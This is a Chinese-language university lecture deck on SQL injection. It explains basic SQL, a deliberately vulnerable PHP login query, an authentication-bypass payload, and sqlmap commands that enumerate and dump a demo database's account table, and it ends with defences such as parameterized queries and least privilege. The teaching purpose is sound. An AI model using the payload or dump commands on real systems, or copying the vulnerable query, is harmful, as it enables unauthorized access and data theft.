系統安全 Model 11-4. 資料隱碼攻擊(SQL Injection)
報告者: I3B17 紀冠宇
講者介紹⼤大同⼤大學 資⼯工3B 紀冠宇
曾任:
慧友資訊 IP系統開發部 ⼯工讀⽣生
現任:
緯捷科技 ⼯工讀
⼯工程濕(x)筆記 站⻑⾧長
專⻑⾧長:
C/C++/Java/PHP
在開始之前……先談談這堂課「會有些什麼」
關聯式資料庫介紹(以MySQL為例)
SQL語法基本介紹
SQL Injection基本⼿手法
SQL Injection ⾃自動化測試
SQL Injection防禦⼿手法(以PHP為例)
在開始之前……
先說下這堂課的基本資料:
Demo網址:
http://ttudemo.lionfree.net/sqli
程式碼:
https://github.com/ChiVincent/TTU/tree/master/Demo/SystemSecurity/SQL_Injection
在開始之前……
再說說這堂課你可以幹嘛
拿出你的筆電玩
看要玩我的Demo還是打Game都可
拿出你的筆記抄
你有沒有在聽我不太會管
就不要吵到我就好了(o
在開始之前……
然後講講這堂課你不可以幹嘛
⿊黑掉講師的電腦,或實體攻擊講師 QAQ
⿊黑掉你隔壁同學的電腦或登⼊入樓下學妹的FB
⿊黑掉別⼈人的網站
偵九關⼼心您 ^w^
在開始之前……
最後,最最重要的事項
記住你想記住的東⻄西,還有這張投影⽚片
忘掉所有該忘掉的事
放⼼心我會提醒你的 owo
關聯式資料庫
將有關係的資料串接在⼀一起
以表格為基礎的資料儲存體
SQL 語法介紹SELECT:取得資料庫已存在資料
SELECT username FROM account WHERE uid=1;
從account這個表格中,取得uid為1的username
UPDATE:修改資料庫已存在資料
UPDATE account SET username=‘abcde’ WHERE uid=1;
從account這個表格中,將uid為1的username修改為abcde
SQL 語法介紹INSERT:新增⼀一筆資料
INSERT INTO account (username) VALUES (‘abcde’);
新增⼀一筆username為’abcde’的資料到account表格
DELETE:刪除⼀一筆資料
DELETE FROM account WHERE uid=1;
從account刪除uid=1的資料
嗯……終於要進⼊入正題了
資料隱碼攻擊(SQL Injection )
⾸首先我們要先知道⼀一件事……
使⽤用者的資料⼀一定不可信
資料隱碼攻擊(SQL Injection )
假如有個登⼊入⾴頁⾯面SQL指令是這樣的……
SELECT * FROM account WHERE username=‘’ AND password = ‘’
解讀為:從 account表格中選擇username=‘’
且password=‘’的資料
資料隱碼攻擊(SQL Injection )
現在我們把PHP的參數丟進去
$sql = "SELECT * FROM account WHERE
username='".$_POST['username']."' AND password = '".$_POST['password']."'";
資料隱碼攻擊(SQL Injection )
⼀一切都看起來很合理,「看起來」
SELECT * FROM account WHERE username=‘demouser’ AND password = ‘demopass’;
資料隱碼攻擊(SQL Injection )
但是今天使⽤用者⼿手賤,輸⼊入了⼀一些奇怪的資料
$_POST[‘username’] = “1’ OR uid=‘1’/*”;
$_POST[‘password’] = “*/ OR password=‘”;
資料隱碼攻擊(SQL Injection )
於是SQL變成了……
$sql = “SELECT * FROM account WHERE username=‘."1' OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";
我們來⾼高亮⼀一下顏⾊色
SELECT * FROM account WHERE username='1' OR uid='1'/*’ AND password = ‘*/ OR password=";
等等,剛剛發⽣生了什麼事?!
資料隱碼攻擊(SQL Injection )
SELECT * FROM account WHERE username='1' OR uid='1'/*’ AND password = ‘*/ OR password=‘’;
這⾏行SQL到底執⾏行起來是怎樣呢……
SELECT * FROM account WHERE username='1' OR uid=‘1' OR password=‘’;
解讀為:從account表格中選取username=‘1’或uid=‘1’或password=‘’該列的所有資料
Live Demo
SQL Injection ⾃自動化測試
採⽤用 sqlmap 檢測⼯工具
可⾃自訂多樣參數,並確實進⾏行SQL Injection測試
SQL Injection ⾃自動化測試
基本指令 -u :設定測試⾴頁⾯面
sqlmap -u “http://localhost/login.php/“
SQL Injection ⾃自動化測試基本指令 --data:⽤用於POST參數測試
設定參數內容
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1”;
SQL Injection ⾃自動化測試基本指令 -p:設定參數名稱
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password;
SQL Injection ⾃自動化測試基本指令 --dbs:列出資料庫表
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password --dbs
SQL Injection ⾃自動化測試基本指令 -D --tables:指定資料庫,查詢其表格。
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test --tables
SQL Injection ⾃自動化測試基本指令 -D db -T tb --columns:指定資料庫、表格,查詢其欄位。
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test -T account --columns
SQL Injection ⾃自動化測試基本指令 -D db -T tb -C col --dump:指定資料庫、表格、欄位,下載資料。
sqlmap -u “http://localhost/login.php/“ --data “username=1&password=1” -p username,password -D test -T account -C “uid,username,password” --dump
Live Demo
SQL Injection的危險
資料庫資料外洩
資料被竄改
資料被刪除
資料被亂加
SQL Injection防範
⼀一、觀念上
使⽤用者資料不可信
不管是GET/POST資料,還是cookie都是
甚⾄至是使⽤用者資訊都不可信
資料庫權限請依「最⼩小權限原則」劃分
沒⽤用到就不要給權限
SQL Injection防範⼆二、實作上(以PHP為例)
拋棄不安全的程式寫法
在php5.3之後,mysql_函式為不建議再使⽤用
在php5.5之後,mysql_函式已宣告不再使⽤用
建議改為mysqli及PDO寫法
就算是mysqli或PDO寫法也要使⽤用parameterized query
或是使⽤用Database Interface
Live Demo
謝謝各位 _(:3UL)_
我們約好囉,不該記得的請全部忘掉